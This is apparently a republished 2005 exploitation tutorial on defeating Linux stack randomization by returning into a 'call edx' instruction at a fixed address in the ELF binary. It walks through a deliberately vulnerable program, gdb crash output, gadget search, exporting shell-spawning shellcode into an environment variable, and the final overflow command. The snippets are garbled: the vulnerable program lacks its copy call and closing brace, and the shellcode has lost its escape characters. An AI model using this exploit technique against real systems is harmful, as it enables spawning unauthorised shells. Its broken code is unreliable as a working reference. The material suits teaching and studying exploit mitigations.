‘Linux Virtual Addresses Exploitation’


Linux kernel recently incorporated a protection which randomizes the stack making exploitation of stack based overflows more difficult. Micheal presents here an attack which works on exploiting static addresses in Linux. You should be familiar with standard stack smashing before attempting this paper.’


‘The information has been provided by Micheal Turner.
The original article can be found at: http://prdelka.blackart.org.uk/paperz/VAstacksmash.txt


Virtual Addresses:
Lets take a look at two instances of the same program which is a simple loop() to check maps.

prdelka@gentoo ~ $ cat /proc/5415/maps
08048000-08049000 r-xp 00000000 03:01 493449 /home/prdelka/env
08049000-0804a000 rw-p 00000000 03:01 493449 /home/prdelka/env
b7e02000-b7f0b000 r-xp 00000000 03:01 229995 /lib/libc-2.3.5.so
b7f0b000-b7f0c000 —p 00109000 03:01 229995 /lib/libc-2.3.5.so
b7f0c000-b7f0d000 r–p 00109000 03:01 229995 /lib/libc-2.3.5.so
b7f0d000-b7f10000 rw-p 0010a000 03:01 229995 /lib/libc-2.3.5.so
b7f10000-b7f13000 rw-p b7f10000 00:00 0
b7f1f000-b7f34000 r-xp 00000000 03:01 230174 /lib/ld-2.3.5.so
b7f34000-b7f35000 r–p 00014000 03:01 230174 /lib/ld-2.3.5.so
b7f35000-b7f36000 rw-p 00015000 03:01 230174 /lib/ld-2.3.5.so
bfd1f000-bfd34000 rw-p bfd1f000 00:00 0 [stack]
ffffe000-fffff000 —p 00000000 00:00 0 [vdso]

prdelka@gentoo ~ $ cat /proc/5426/maps
08048000-08049000 r-xp 00000000 03:01 493449 /home/prdelka/env
08049000-0804a000 rw-p 00000000 03:01 493449 /home/prdelka/env
b7df6000-b7eff000 r-xp 00000000 03:01 229995 /lib/libc-2.3.5.so
b7eff000-b7f00000 —p 00109000 03:01 229995 /lib/libc-2.3.5.so
b7f00000-b7f01000 r–p 00109000 03:01 229995 /lib/libc-2.3.5.so
b7f01000-b7f04000 rw-p 0010a000 03:01 229995 /lib/libc-2.3.5.so
b7f04000-b7f07000 rw-p b7f04000 00:00 0
b7f13000-b7f28000 r-xp 00000000 03:01 230174 /lib/ld-2.3.5.so
b7f28000-b7f29000 r–p 00014000 03:01 230174 /lib/ld-2.3.5.so
b7f29000-b7f2a000 rw-p 00015000 03:01 230174 /lib/ld-2.3.5.so
bfc0e000-bfc28000 rw-p bfc0e000 00:00 0 [stack]
ffffe000-fffff000 —p 00000000 00:00 0 [vdso]

We can see the stack is randomized along with the libraries making ret-into-libc difficult. However we are left with one constant between the two programs.

08048000-08049000 r-xp 00000000 03:01 493449 /home/prdelka/env
08049000-0804a000 rw-p 00000000 03:01 493449 /home/prdelka/env

So we must find our return address here. Let us take a look now at a vulnerable program.

prdelka@gentoo ~ $ cat bug.c
#include <stdio.h>

int main(int argc,char* argv[]){
        char buffer[100];
        return 1;

We will now overflow the stack and look at the registers. using ./bug `perl -e ‘print ‘A’x5000’` and GDB.

Program received signal SIGSEGV, Segmentation fault.
Error while running hook_stop:
Invalid type combination in ordering comparison.
0x41414141 in ?? ()
gdb> i r
eax 0x1 0x1
ecx 0xffffe21d 0xffffe21d
edx 0xbfa0b71b 0xbfa0b71b
ebx 0xb7ee6ff4 0xb7ee6ff4
esp 0xbfa08630 0xbfa08630
ebp 0x41414141 0x41414141
esi 0xb7f0dc80 0xb7f0dc80
edi 0xbfa08674 0xbfa08674
eip 0x41414141 0x41414141
eflags 0x10246 0x10246
cs 0x73 0x73
ss 0x7b 0x7b
ds 0x7b 0x7b
es 0x7b 0x7b
fs 0x0 0x0
gs 0x0 0x0

If we examine more closely we can find the randomized address of the environment pointer in EDX which is always pointing to our environment variables in example vulnerability, this is often the case in regular command line arguement overflows.

gdb> x/s $edx
0xbfa0b71b: ‘MANPATH=’,

To exploit the program, we must find a way to ‘call $edx’, ‘jmp $edx’ or ‘push $edx, retn’. We can find a usable return address in our static area of memory from the ELF binary, we use ndisasm and grep.

prdelka@gentoo ~ $ ./ndisasm bug | grep ‘call dx’
00000338 FFD2 call dx
000016F3 FFD2 call dx

So we know the base address of the ELF binary is 08048000, if we add the offset 0x338 we have a return address of 0x8048338! If we examine this return address in GDB we see the following.

0x8048338 <__do_global_dtors_aux+40>: call *%edx

To exploit the bug we will place our payload in the first environment variable, to find this we run the ‘env’ command.

prdelka@gentoo ~ $ env

We will now put our shellcode in this environment variable.

prdelka@gentoo ~ $ export MANPATH=`perl -e ‘print ‘x90x90x90x90x90x90x90x90x90x90x90x31xc0x50x68’;print ‘//sh’;print ‘x68’;print ‘/bin’;print ‘x89xe3x50x53x89xe1x99xb0x0bxcdx80’;’`

We can now exploit our application with our return address we found previously.

prdelka@gentoo ~ $ uname -a
Linux gentoo 2.6.12-gentoo-r10 #2 Tue Sep 13 00:33:15 IDT 2005 i686 Mobile Intel(R) Celeron(R) CPU 1.70GHz GenuineIntel GNU/Linux
prdelka@gentoo ~ $ ./bug `perl -e ‘print ‘x90’x124;print ‘x38x83x04x08’;’`

Categories: Reviews